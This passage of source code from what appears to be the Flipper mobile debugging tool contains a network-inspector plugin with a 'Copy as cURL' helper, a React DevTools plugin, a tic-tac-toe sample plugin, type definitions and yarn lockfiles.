}
return count + ' B';
}
const TextEllipsis = styled(Text)({
overflowX: 'hidden',
textOverflow: 'ellipsis',
maxWidth: '100%',
lineHeight: '18px',
paddingTop: 4,
});
export default class extends FlipperPlugin<State, any, PersistedState> {
static keyboardActions: Array<DefaultKeyboardAction> = ['clear'];
static subscribed = [];
static defaultPersistedState = {
requests: new Map(),
responses: new Map(),
};
static metricsReducer(persistedState: PersistedState) {
const failures = Object.values(persistedState.responses).reduce(function(
previous,
values,
) {
return previous + (values.status >= 400 ? 1 : 0);
},
0);
return Promise.resolve({NUMBER_NETWORK_FAILURES: failures});
}
static persistedStateReducer(
persistedState: PersistedState,
method: string,
data: Request | Response,
) {
switch (method) {
case 'newRequest':
return Object.assign({}, persistedState, {
requests: {...persistedState.requests, [data.id]: data as Request},
});
case 'newResponse':
return Object.assign({}, persistedState, {
responses: {...persistedState.responses, [data.id]: data as Response},
});
default:
return persistedState;
}
}
static serializePersistedState = (persistedState: PersistedState) => {
return Promise.resolve(JSON.stringify(persistedState));
};
static deserializePersistedState = (serializedString: string) => {
return JSON.parse(serializedString);
};
static getActiveNotifications(persistedState: PersistedState) {
const responses = persistedState
? persistedState.responses || new Map()
: new Map();
const r: Array<Response> = Object.values(responses);
return (
r
// Show error messages for all status codes indicating a client or server error
.filter((response: Response) => response.status >= 400)
.map((response: Response) => {
const request = persistedState.requests[response.id];
const url: string = (request && request.url) || '(URL missing)';
return {
id: response.id,
title: `HTTP ${response.status}: Network request failed`,
message: `Request to ${url} failed. ${response.reason}`,
severity: 'error' as 'error',
timestamp: response.timestamp,
category: `HTTP${response.status}`,
action: response.id,
};
})
);
}
onKeyboardAction = (action: string) => {
if (action === 'clear') {
this.clearLogs();
}
};
parseDeepLinkPayload = (deepLinkPayload: string | null) => {
const searchTermDelim = 'searchTerm=';
if (deepLinkPayload === null) {
return {
selectedIds: [],
searchTerm: '',
};
} else if (deepLinkPayload.startsWith(searchTermDelim)) {
return {
selectedIds: [],
searchTerm: deepLinkPayload.slice(searchTermDelim.length),
};
}
return {
selectedIds: [deepLinkPayload],
searchTerm: '',
};
};
state = this.parseDeepLinkPayload(this.props.deepLinkPayload);
onRowHighlighted = (selectedIds: Array<RequestId>) =>
this.setState({selectedIds});
copyRequestCurlCommand = () => {
const {requests} = this.props.persistedState;
const {selectedIds} = this.state;
// Ensure there is only one row highlighted.
if (selectedIds.length !== 1) {
return;
}
const request = requests[selectedIds[0]];
if (!request) {
return;
}
const command = convertRequestToCurlCommand(request);
clipboard.writeText(command);
};
clearLogs = () => {
this.setState({selectedIds: []});
this.props.setPersistedState({responses: {}, requests: {}});
};
renderSidebar = () => {
const {requests, responses} = this.props.persistedState;
const {selectedIds} = this.state;
const selectedId = selectedIds.length === 1 ? selectedIds[0] : null;
if (!selectedId) {
return null;
}
const requestWithId = requests[selectedId];
if (!requestWithId) {
return null;
}
return (
<RequestDetails
key={selectedId}
request={requestWithId}
response={responses[selectedId]}
/>
);
};
render() {
const {requests, responses} = this.props.persistedState;
return (
<FlexColumn grow={true}>
<NetworkTable
requests={requests || {}}
responses={responses || {}}
clear={this.clearLogs}
copyRequestCurlCommand={this.copyRequestCurlCommand}
onRowHighlighted={this.onRowHighlighted}
highlightedRows={
this.state.selectedIds ? new Set(this.state.selectedIds) : null
}
searchTerm={this.state.searchTerm}
/>
<DetailSidebar width={500}>{this.renderSidebar()}</DetailSidebar>
</FlexColumn>
);
}
}
type NetworkTableProps = {
requests: {[id: string]: Request};
responses: {[id: string]: Response};
clear: () => void;
copyRequestCurlCommand: () => void;
onRowHighlighted: (keys: TableHighlightedRows) => void;
highlightedRows: Set<string> | null | undefined;
searchTerm: string;
};
type NetworkTableState = {
sortedRows: TableRows;
};
function formatTimestamp(timestamp: number): string {
const date = new Date(timestamp);
return `${padStart(date.getHours().toString(), 2, '0')}:${padStart(
date.getMinutes().toString(),
2,
'0',
)}:${padStart(date.getSeconds().toString(), 2, '0')}.${padStart(
date.getMilliseconds().toString(),
3,
'0',
)}`;
}
function buildRow(
request: Request,
response: Response | null | undefined,
): TableBodyRow | null | undefined {
if (request == null) {
return null;
}
const url = new URL(request.url);
const domain = url.host + url.pathname;
const friendlyName = getHeaderValue(request.headers, 'X-FB-Friendly-Name');
let copyText = `# HTTP request for ${domain} (ID: ${request.id})
## Request
HTTP ${request.method} ${request.url}
${request.headers
.map(
({key, value}: {key: string; value: string}): string =>
`${key}: ${String(value)}`,
)
.join('\n')}`;
const requestData = request.data ? decodeBody(request) : null;
const responseData = response && response.data ? decodeBody(response) : null;
if (requestData) {
copyText += `\n\n${requestData}`;
}
if (response) {
copyText += `
## Response
HTTP ${response.status} ${response.reason}
${response.headers
.map(
({key, value}: {key: string; value: string}): string =>
`${key}: ${String(value)}`,
)
.join('\n')}`;
}
if (responseData) {
copyText += `\n\n${responseData}`;
}
return {
columns: {
requestTimestamp: {
value: (
<TextEllipsis>{formatTimestamp(request.timestamp)}</TextEllipsis>
),
},
responseTimestamp: {
value: (
<TextEllipsis>
{response && formatTimestamp(response.timestamp)}
</TextEllipsis>
),
},
domain: {
value: (
<TextEllipsis>{friendlyName ? friendlyName : domain}</TextEllipsis>
),
isFilterable: true,
},
method: {
value: <TextEllipsis>{request.method}</TextEllipsis>,
isFilterable: true,
},
status: {
value: (
<StatusColumn>{response ? response.status : undefined}</StatusColumn>
),
isFilterable: true,
},
size: {
value: <SizeColumn response={response ? response : undefined} />,
},
duration: {
value: <DurationColumn request={request} response={response} />,
},
},
key: request.id,
filterValue: `${request.method} ${request.url}`,
sortKey: request.timestamp,
copyText,
highlightOnHover: true,
requestBody: requestData,
responseBody: responseData,
};
}
function calculateState(
props: {
requests: {[id: string]: Request};
responses: {[id: string]: Response};
},
nextProps: NetworkTableProps,
rows: TableRows = [],
): NetworkTableState {
rows = [...rows];
if (Object.keys(nextProps.requests).length === 0) {
// cleared
rows = [];
} else if (props.requests !== nextProps.requests) {
// new request
for (const [requestId, request] of Object.entries(nextProps.requests)) {
if (props.requests[requestId] == null) {
const newRow = buildRow(request, nextProps.responses[requestId]);
if (newRow) {
rows.push(newRow);
}
}
}
} else if (props.responses !== nextProps.responses) {
// new or updated response
const resId = Object.keys(nextProps.responses).find(
(responseId: RequestId) =>
props.responses[responseId] !== nextProps.responses[responseId],
);
if (resId) {
const request = nextProps.requests[resId];
// sanity check; to pass null check
if (request) {
const newRow = buildRow(request, nextProps.responses[resId]);
const index = rows.findIndex((r: TableBodyRow) => r.key === request.id);
if (index > -1 && newRow) {
rows[index] = newRow;
}
}
}
}
rows.sort(
(a: TableBodyRow, b: TableBodyRow) =>
(a.sortKey as number) - (b.sortKey as number),
);
return {
sortedRows: rows,
};
}
class NetworkTable extends PureComponent<NetworkTableProps, NetworkTableState> {
static ContextMenu = styled(ContextMenu)({
flex: 1,
});
constructor(props: NetworkTableProps) {
super(props);
this.state = calculateState(
{
requests: {},
responses: {},
},
props,
);
}
UNSAFE_componentWillReceiveProps(nextProps: NetworkTableProps) {
this.setState(calculateState(this.props, nextProps, this.state.sortedRows));
}
contextMenuItems(): Array<MenuItemConstructorOptions> {
type ContextMenuType =
| 'normal'
| 'separator'
| 'submenu'
| 'checkbox'
| 'radio';
const separator: ContextMenuType = 'separator';
const {clear, copyRequestCurlCommand, highlightedRows} = this.props;
const highlightedMenuItems =
highlightedRows && highlightedRows.size === 1
? [
{
type: separator,
},
{
label: 'Copy as cURL',
click: copyRequestCurlCommand,
},
]
: [];
return highlightedMenuItems.concat([
{
type: separator,
},
{
label: 'Clear all',
click: clear,
},
]);
}
render() {
return (
<NetworkTable.ContextMenu
items={this.contextMenuItems()}
component={FlexColumn}>
<SearchableTable
virtual={true}
multiline={false}
multiHighlight={true}
stickyBottom={true}
floating={false}
columnSizes={COLUMN_SIZE}
columns={COLUMNS}
columnOrder={COLUMN_ORDER}
rows={this.state.sortedRows}
onRowHighlighted={this.props.onRowHighlighted}
highlightedRows={this.props.highlightedRows}
rowLineHeight={26}
allowRegexSearch={true}
allowBodySearch={true}
zebra={false}
actions={<Button onClick={this.props.clear}>Clear Table</Button>}
clearSearchTerm={this.props.searchTerm !== ''}
defaultSearchTerm={this.props.searchTerm}
/>
</NetworkTable.ContextMenu>
);
}
}
const Icon = styled(Glyph)({
marginTop: -3,
marginRight: 3,
});
class StatusColumn extends PureComponent<{
children?: number;
}> {
render() {
const {children} = this.props;
let glyph;
if (children != null && children >= 400 && children < 600) {
glyph = <Icon name="stop" color={colors.red} />;
}
return (
<TextEllipsis>
{glyph}
{children}
</TextEllipsis>
);
}
}
class DurationColumn extends PureComponent<{
request: Request;
response: Response | null | undefined;
}> {
static Text = styled(Text)({
flex: 1,
textAlign: 'right',
paddingRight: 10,
});
render() {
const {request, response} = this.props;
const duration = response
? response.timestamp - request.timestamp
: undefined;
return (
<DurationColumn.Text selectable={false}>
{duration != null ? duration.toLocaleString() + 'ms' : ''}
</DurationColumn.Text>
);
}
}
class SizeColumn extends PureComponent<{
response: Response | null | undefined;
}> {
static Text = styled(Text)({
flex: 1,
textAlign: 'right',
paddingRight: 10,
});
render() {
const {response} = this.props;
if (response) {
const text = formatBytes(this.getResponseLength(response));
return <SizeColumn.Text>{text}</SizeColumn.Text>;
} else {
return null;
}
}
getResponseLength(response: Response | null | undefined) {
if (!response) {
return 0;
}
let length = 0;
const lengthString = response.headers
? getHeaderValue(response.headers, 'content-length')
: undefined;
if (lengthString != null && lengthString != '') {
length = parseInt(lengthString, 10);
} else if (response.data) {
length = Buffer.byteLength(response.data, 'base64');
}
return length;
}
}

View File

@@ -0,0 +1,19 @@
{
"name": "Network",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"dependencies": {
"pako": "^1.0.11",
"@types/pako": "^1.0.1",
"xml-beautifier": "^0.4.0",
"lodash": "^4.17.11"
},
"icon": "internet",
"title": "Network",
"bugs": {
"email": "oncall+flipper@xmail.facebook.com",
"url": "https://fb.workplace.com/groups/flippersupport/"
}
}

View File

@@ -0,0 +1,55 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
export type RequestId = string;
export type Request = {
id: RequestId;
timestamp: number;
method: string;
url: string;
headers: Array<Header>;
data: string | null | undefined;
};
export type Response = {
id: RequestId;
timestamp: number;
status: number;
reason: string;
headers: Array<Header>;
data: string | null | undefined;
insights: Insights | null | undefined;
};
export type Header = {
key: string;
value: string;
};
export type RetryInsights = {
count: number;
limit: number;
timeSpent: number;
};
export type Insights = {
dnsLookupTime: number | null | undefined;
connectTime: number | null | undefined;
sslHandshakeTime: number | null | undefined;
preTransferTime: number | null | undefined;
redirectsTime: number | null | undefined;
timeToFirstByte: number | null | undefined;
transferTime: number | null | undefined;
postProcessingTime: number | null | undefined;
// Amount of transferred data can be different from total size of payload.
bytesTransfered: number | null | undefined;
transferSpeed: number | null | undefined;
retries: RetryInsights | null | undefined;
};

View File

@@ -0,0 +1,103 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import pako from 'pako';
import {Request, Response, Header} from './types';
export function getHeaderValue(headers: Array<Header>, key: string): string {
for (const header of headers) {
if (header.key.toLowerCase() === key.toLowerCase()) {
return header.value;
}
}
return '';
}
export function decodeBody(container: Request | Response): string {
if (!container.data) {
return '';
}
const b64Decoded = atob(container.data);
try {
if (getHeaderValue(container.headers, 'Content-Encoding') === 'gzip') {
// for gzip, use pako to decompress directly to unicode string
return decompress(b64Decoded);
}
// Data is transferred as base64 encoded bytes to support unicode characters,
// we need to decode the bytes here to display the correct unicode characters.
return decodeURIComponent(escape(b64Decoded));
} catch (e) {
console.warn('Discarding malformed body:', escape(b64Decoded));
return '';
}
}
function decompress(body: string): string {
const charArray = body.split('').map(x => x.charCodeAt(0));
const byteArray = new Uint8Array(charArray);
try {
if (body) {
return pako.inflate(byteArray, {to: 'string'});
} else {
return body;
}
} catch (e) {
// Sometimes Content-Encoding is 'gzip' but the body is already decompressed.
// Assume this is the case when decompression fails.
}
return body;
}
export function convertRequestToCurlCommand(request: Request): string {
let command: string = `curl -v -X ${request.method}`;
command += ` ${escapedString(request.url)}`;
// Add headers
request.headers.forEach((header: Header) => {
const headerStr = `${header.key}: ${header.value}`;
command += ` -H ${escapedString(headerStr)}`;
});
// Add body
const body = decodeBody(request);
if (body) {
command += ` -d ${escapedString(body)}`;
}
return command;
}
function escapeCharacter(x: string) {
const code = x.charCodeAt(0);
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
}
const needsEscapingRegex = /[\u0000-\u001f\u007f-\u009f!]/g;
// Escape util function, inspired by Google DevTools. Works only for POSIX
// based systems.
function escapedString(str: string) {
if (needsEscapingRegex.test(str) || str.includes("'")) {
return (
"$'" +
str
.replace(/\\/g, '\\\\')
.replace(/\'/g, "\\'")
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(needsEscapingRegex, escapeCharacter) +
"'"
);
}
// Simply use singly quoted string.
return "'" + str + "'";
}

View File

@@ -0,0 +1,30 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
"@types/pako@^1.0.1":
version "1.0.1"
resolved "https://registry.yarnpkg.com/@types/pako/-/pako-1.0.1.tgz#33b237f3c9aff44d0f82fe63acffa4a365ef4a61"
integrity sha512-GdZbRSJ3Cv5fiwT6I0SQ3ckeN2PWNqxd26W9Z2fCK1tGrrasGy4puvNFtnddqH9UJFMQYXxEuuB7B8UK+LLwSg==
lodash@^4.17.11:
version "4.17.15"
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
pako@^1.0.11:
version "1.0.11"
resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==
repeat-string@1.6.1:
version "1.6.1"
resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
xml-beautifier@^0.4.0:
version "0.4.2"
resolved "https://registry.yarnpkg.com/xml-beautifier/-/xml-beautifier-0.4.2.tgz#d889df69b46a6ed1ab46fbe022930da83bf40f7c"
integrity sha512-LBZ3bLvo3FZIN9nBjxUpi70L1nGDOzTaLQm8eNyi0nyr8uUV2YLg0C2DSihc3OahcgWQoQ83ZTm0RErKuRrJYQ==
dependencies:
repeat-string "1.6.1"

View File

@@ -0,0 +1,16 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
declare module 'get-port' {
const getPort: (options?: {
readonly port?: number;
readonly host?: string;
}) => Promise<number>;
export default getPort;
}

View File

@@ -0,0 +1,283 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import ReactDevToolsStandalone from 'react-devtools-core/standalone';
import {
FlipperDevicePlugin,
AndroidDevice,
styled,
View,
MetroDevice,
ReduxState,
connect,
Device,
CenteredView,
RoundedSection,
Text,
Button,
} from 'flipper';
import React, {useEffect} from 'react';
import getPort from 'get-port';
const Container = styled.div({
display: 'flex',
flex: '1 1 0%',
justifyContent: 'center',
alignItems: 'stretch',
height: '100%',
});
const DEV_TOOLS_NODE_ID = 'reactdevtools-out-of-react-node';
function createDevToolsNode(): HTMLElement {
const div = document.createElement('div');
div.id = DEV_TOOLS_NODE_ID;
div.style.display = 'none';
div.style.width = '100%';
div.style.height = '100%';
div.style.flex = '1 1 0%';
div.style.justifyContent = 'center';
div.style.alignItems = 'stretch';
document.body && document.body.appendChild(div);
return div;
}
function findDevToolsNode(): HTMLElement | null {
return document.querySelector('#' + DEV_TOOLS_NODE_ID);
}
function attachDevTools(target: Element | Text, devToolsNode: HTMLElement) {
target.appendChild(devToolsNode);
devToolsNode.style.display = 'flex';
}
function detachDevTools(devToolsNode: HTMLElement) {
devToolsNode.style.display = 'none';
document.body && document.body.appendChild(devToolsNode);
}
const CONNECTED = 'DevTools connected';
type GrabMetroDeviceStoreProps = {metroDevice: MetroDevice};
type GrabMetroDeviceOwnProps = {onHasDevice(device: MetroDevice): void};
// Utility component to grab the metroDevice from the store if there is one
const GrabMetroDevice = connect<
GrabMetroDeviceStoreProps,
{},
GrabMetroDeviceOwnProps,
ReduxState
>(({connections: {devices}}) => ({
metroDevice: devices.find(
device => device.os === 'Metro' && !device.isArchived,
) as MetroDevice,
}))(function({
metroDevice,
onHasDevice,
}: GrabMetroDeviceStoreProps & GrabMetroDeviceOwnProps) {
useEffect(() => {
onHasDevice(metroDevice);
}, [metroDevice]);
return null;
});
const SUPPORTED_OCULUS_DEVICE_TYPES = ['quest', 'go', 'pacific'];
enum ConnectionStatus {
Initializing = 'Initializing...',
WaitingForReload = 'Waiting for connection from device...',
Connected = 'Connected',
Error = 'Error',
}
export default class ReactDevTools extends FlipperDevicePlugin<
{
status: string;
},
any,
{}
> {
static supportsDevice(device: Device) {
return !device.isArchived && device.os === 'Metro';
}
pollHandle?: NodeJS.Timeout;
containerRef: React.RefObject<HTMLDivElement> = React.createRef();
connectionStatus: ConnectionStatus = ConnectionStatus.Initializing;
metroDevice?: MetroDevice;
isMounted = true;
state = {
status: 'initializing',
};
componentDidMount() {
this.bootDevTools();
}
componentWillUnmount() {
this.isMounted = false;
if (this.pollHandle) {
clearTimeout(this.pollHandle);
}
const devToolsNode = findDevToolsNode();
devToolsNode && detachDevTools(devToolsNode);
}
setStatus(connectionStatus: ConnectionStatus, status: string) {
this.connectionStatus = connectionStatus;
if (!this.isMounted) {
return;
}
if (status.startsWith('The server is listening on')) {
this.setState({status: status + ' Waiting for connection...'});
} else {
this.setState({status});
}
}
devtoolsHaveStarted() {
return !!findDevToolsNode()?.innerHTML;
}
bootDevTools() {
let devToolsNode = findDevToolsNode();
if (!devToolsNode) {
devToolsNode = createDevToolsNode();
}
this.initializeDevTools(devToolsNode);
this.setStatus(
ConnectionStatus.Initializing,
'DevTools have been initialized, waiting for connection...',
);
if (this.devtoolsHaveStarted()) {
this.setStatus(ConnectionStatus.Connected, CONNECTED);
} else {
this.startPollForConnection();
}
attachDevTools(this.containerRef?.current!, devToolsNode);
this.startPollForConnection();
}
startPollForConnection(delay = 3000) {
this.pollHandle = setTimeout(() => {
switch (true) {
// Closed already, ignore
case !this.isMounted:
return;
// Found DevTools!
case this.devtoolsHaveStarted():
this.setStatus(ConnectionStatus.Connected, CONNECTED);
return;
// Waiting for connection, but we do have an active Metro connection, lets force a reload to enter Dev Mode on app
// prettier-ignore
case this.connectionStatus === ConnectionStatus.Initializing && !!this.metroDevice?.ws:
this.setStatus(
ConnectionStatus.WaitingForReload,
"Sending 'reload' to Metro to force the DevTools to connect...",
);
this.metroDevice!.sendCommand('reload');
this.startPollForConnection(10000);
return;
// Waiting for initial connection, but no WS bridge available
case this.connectionStatus === ConnectionStatus.Initializing:
this.setStatus(
ConnectionStatus.WaitingForReload,
"The DevTools didn't connect yet. Please trigger the DevMenu in the React Native app, or Reload it to connect",
);
this.startPollForConnection(10000);
return;
// Still nothing? Users might not have done manual action, or some other tools have picked it up?
case this.connectionStatus === ConnectionStatus.WaitingForReload:
this.setStatus(
ConnectionStatus.WaitingForReload,
"The DevTools didn't connect yet. Please verify your React Native app is in development mode, and that no other instance of the React DevTools are attached to the app already.",
);
this.startPollForConnection();
return;
}
}, delay);
}
async initializeDevTools(devToolsNode: HTMLElement) {
try {
this.setStatus(ConnectionStatus.Initializing, 'Waiting for port 8097');
const port = await getPort({port: 8097}); // default port for dev tools
this.setStatus(
ConnectionStatus.Initializing,
'Starting DevTools server on ' + port,
);
ReactDevToolsStandalone.setContentDOMNode(devToolsNode)
.setStatusListener(status => {
this.setStatus(ConnectionStatus.Initializing, status);
})
.startServer(port);
this.setStatus(ConnectionStatus.Initializing, 'Waiting for device');
const device = this.device;
if (device) {
if (
device.deviceType === 'physical' ||
SUPPORTED_OCULUS_DEVICE_TYPES.includes(device.title.toLowerCase())
) {
this.setStatus(
ConnectionStatus.Initializing,
`Setting up reverse port mapping: ${port}:${port}`,
);
(device as AndroidDevice).reverse([port, port]);
}
}
} catch (e) {
console.error(e);
this.setStatus(
ConnectionStatus.Error,
'Failed to initialize DevTools: ' + e,
);
}
}
render() {
return (
<View grow>
{!this.devtoolsHaveStarted() ? this.renderStatus() : null}
<Container ref={this.containerRef} />
<GrabMetroDevice
onHasDevice={device => {
this.metroDevice = device;
}}
/>
</View>
);
}
renderStatus() {
return (
<CenteredView>
<RoundedSection title={this.connectionStatus}>
<Text>{this.state.status}</Text>
{(this.connectionStatus === ConnectionStatus.WaitingForReload &&
this.metroDevice?.ws) ||
this.connectionStatus === ConnectionStatus.Error ? (
<Button
style={{width: 200, margin: '10px auto 0 auto'}}
onClick={() => {
this.metroDevice?.sendCommand('reload');
this.bootDevTools();
}}>
Retry
</Button>
) : null}
</RoundedSection>
</CenteredView>
);
}
}

View File

@@ -0,0 +1,18 @@
{
"name": "React",
"version": "1.0.1",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"dependencies": {
"address": "^1.1.2",
"get-port": "^5.0.0",
"react-devtools-core": "^4.0.6"
},
"title": "React DevTools",
"icon": "app-react",
"bugs": {
"email": "danielbuechele@fb.com"
},
"devDependencies": {}
}

View File

@@ -0,0 +1,18 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
declare module 'react-devtools-core/standalone' {
interface DevTools {
setContentDOMNode(node: HTMLElement): this;
startServer(port: number): this;
setStatusListener(listener: (message: string) => void): this;
}
const DevTools: DevTools;
export default DevTools;
}

View File

@@ -0,0 +1,110 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
address@^1.1.2:
version "1.1.2"
resolved "https://registry.yarnpkg.com/address/-/address-1.1.2.tgz#bf1116c9c758c51b7a933d296b72c221ed9428b6"
integrity sha512-aT6camzM4xEA54YVJYSqxz1kv4IHnQZRtThJJHhUMRExaU5spC7jX5ugSwTaTgJliIgs4VhZOk7htClvQ/LmRA==
array-filter@~0.0.0:
version "0.0.1"
resolved "https://registry.yarnpkg.com/array-filter/-/array-filter-0.0.1.tgz#7da8cf2e26628ed732803581fd21f67cacd2eeec"
array-map@~0.0.0:
version "0.0.0"
resolved "https://registry.yarnpkg.com/array-map/-/array-map-0.0.0.tgz#88a2bab73d1cf7bcd5c1b118a003f66f665fa662"
array-reduce@~0.0.0:
version "0.0.0"
resolved "https://registry.yarnpkg.com/array-reduce/-/array-reduce-0.0.0.tgz#173899d3ffd1c7d9383e4479525dbe278cab5f2b"
async-limiter@^1.0.0:
version "1.0.0"
resolved "https://registry.yarnpkg.com/async-limiter/-/async-limiter-1.0.0.tgz#78faed8c3d074ab81f22b4e985d79e8738f720f8"
integrity sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg==
d@1:
version "1.0.1"
resolved "https://registry.yarnpkg.com/d/-/d-1.0.1.tgz#8698095372d58dbee346ffd0c7093f99f8f9eb5a"
integrity sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==
dependencies:
es5-ext "^0.10.50"
type "^1.0.1"
es5-ext@^0.10.35, es5-ext@^0.10.50, es5-ext@~0.10.14:
version "0.10.50"
resolved "https://registry.yarnpkg.com/es5-ext/-/es5-ext-0.10.50.tgz#6d0e23a0abdb27018e5ac4fd09b412bc5517a778"
integrity sha512-KMzZTPBkeQV/JcSQhI5/z6d9VWJ3EnQ194USTUwIYZ2ZbpN8+SGXQKt1h68EX44+qt+Fzr8DO17vnxrw7c3agw==
dependencies:
es6-iterator "~2.0.3"
es6-symbol "~3.1.1"
next-tick "^1.0.0"
es6-iterator@~2.0.3:
version "2.0.3"
resolved "https://registry.yarnpkg.com/es6-iterator/-/es6-iterator-2.0.3.tgz#a7de889141a05a94b0854403b2d0a0fbfa98f3b7"
integrity sha1-p96IkUGgWpSwhUQDstCg+/qY87c=
dependencies:
d "1"
es5-ext "^0.10.35"
es6-symbol "^3.1.1"
es6-symbol@^3, es6-symbol@^3.1.1, es6-symbol@~3.1.1:
version "3.1.1"
resolved "https://registry.yarnpkg.com/es6-symbol/-/es6-symbol-3.1.1.tgz#bf00ef4fdab6ba1b46ecb7b629b4c7ed5715cc77"
integrity sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=
dependencies:
d "1"
es5-ext "~0.10.14"
get-port@^5.0.0:
version "5.0.0"
resolved "https://registry.yarnpkg.com/get-port/-/get-port-5.0.0.tgz#aa22b6b86fd926dd7884de3e23332c9f70c031a6"
integrity sha512-imzMU0FjsZqNa6BqOjbbW6w5BivHIuQKopjpPqcnx0AVHJQKCxK1O+Ab3OrVXhrekqfVMjwA9ZYu062R+KcIsQ==
dependencies:
type-fest "^0.3.0"
jsonify@~0.0.0:
version "0.0.0"
resolved "https://registry.yarnpkg.com/jsonify/-/jsonify-0.0.0.tgz#2c74b6ee41d93ca51b7b5aaee8f503631d252a73"
next-tick@^1.0.0:
version "1.0.0"
resolved "https://registry.yarnpkg.com/next-tick/-/next-tick-1.0.0.tgz#ca86d1fe8828169b0120208e3dc8424b9db8342c"
integrity sha1-yobR/ogoFpsBICCOPchCS524NCw=
react-devtools-core@^4.0.6:
version "4.0.6"
resolved "https://registry.yarnpkg.com/react-devtools-core/-/react-devtools-core-4.0.6.tgz#681c7349db618856d6df7d31a6a49edee9d9e428"
integrity sha512-IhAndVGmV74Bio1BRrlbsonH6bX3XFHgz2uixJFlNjg/Rm264mBveIMwM6+rV3yObSKVnggXRMtJuyWoPk2Smw==
dependencies:
es6-symbol "^3"
shell-quote "^1.6.1"
ws "^7"
shell-quote@^1.6.1:
version "1.6.1"
resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.6.1.tgz#f4781949cce402697127430ea3b3c5476f481767"
dependencies:
array-filter "~0.0.0"
array-map "~0.0.0"
array-reduce "~0.0.0"
jsonify "~0.0.0"
type-fest@^0.3.0:
version "0.3.1"
resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.3.1.tgz#63d00d204e059474fe5e1b7c011112bbd1dc29e1"
integrity sha512-cUGJnCdr4STbePCgqNFbpVNCepa+kAVohJs1sLhxzdH+gnEoOd8VhbYa7pD3zZYGiURWM2xzEII3fQcRizDkYQ==
type@^1.0.1:
version "1.0.3"
resolved "https://registry.yarnpkg.com/type/-/type-1.0.3.tgz#16f5d39f27a2d28d86e48f8981859e9d3296c179"
integrity sha512-51IMtNfVcee8+9GJvj0spSuFcZHe9vSib6Xtgsny1Km9ugyz2mbS08I3rsUIRYgJohFRFU1160sgRodYz378Hg==
ws@^7:
version "7.1.1"
resolved "https://registry.yarnpkg.com/ws/-/ws-7.1.1.tgz#f9942dc868b6dffb72c14fd8f2ba05f77a4d5983"
integrity sha512-o41D/WmDeca0BqYhsr3nJzQyg9NF5X8l/UdnFNux9cS3lwB+swm8qGWX5rn+aD6xfBU3rGmtHij7g7x6LxFU3A==
dependencies:
async-limiter "^1.0.0"

View File

@@ -0,0 +1,190 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import React from 'react';
import {
FlipperPlugin,
RoundedSection,
Button,
produce,
CenteredView,
Info,
colors,
styled,
FlexRow,
Text,
brandColors,
} from 'flipper';
import {Draft} from 'immer';
type Player = ' ' | 'X' | 'O';
type State = {
cells: readonly [
Player,
Player,
Player,
Player,
Player,
Player,
Player,
Player,
Player,
];
winner: Player;
turn: 'X' | 'O';
};
function initialState(): State {
return {
// Cells
// 0 1 2
// 3 4 5
// 6 7 8
cells: [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '] as const,
turn: Math.random() < 0.5 ? 'O' : 'X',
winner: ' ',
} as const;
}
const computeNextState = produce(
(draft: Draft<State>, cell: number, player: 'X' | 'O') => {
draft.cells[cell] = player;
draft.turn = player === 'X' ? 'O' : 'X';
draft.winner = computeWinner(draft.cells);
},
);
function computeWinner(c: State['cells']): Player {
// check the 2 diagonals
if ((c[0] === c[4] && c[0] === c[8]) || (c[2] === c[4] && c[2] === c[6])) {
return c[4];
}
for (let i = 0; i < 3; i++) {
// check vertical
if (c[i] === c[3 + i] && c[i] === c[6 + i]) {
return c[i];
}
// check horizontal
if (c[i * 3] === c[i * 3 + 1] && c[i * 3] === c[i * 3 + 2]) {
return c[i * 3];
}
}
return ' ';
}
export default class ReactNativeTicTacToe extends FlipperPlugin<
State,
any,
any
> {
state = initialState();
componentDidMount() {
this.client.subscribe('XMove', ({move}: {move: number}) => {
this.makeMove('X', move);
});
this.client.subscribe('GetState', () => {
this.sendUpdate();
});
this.sendUpdate();
}
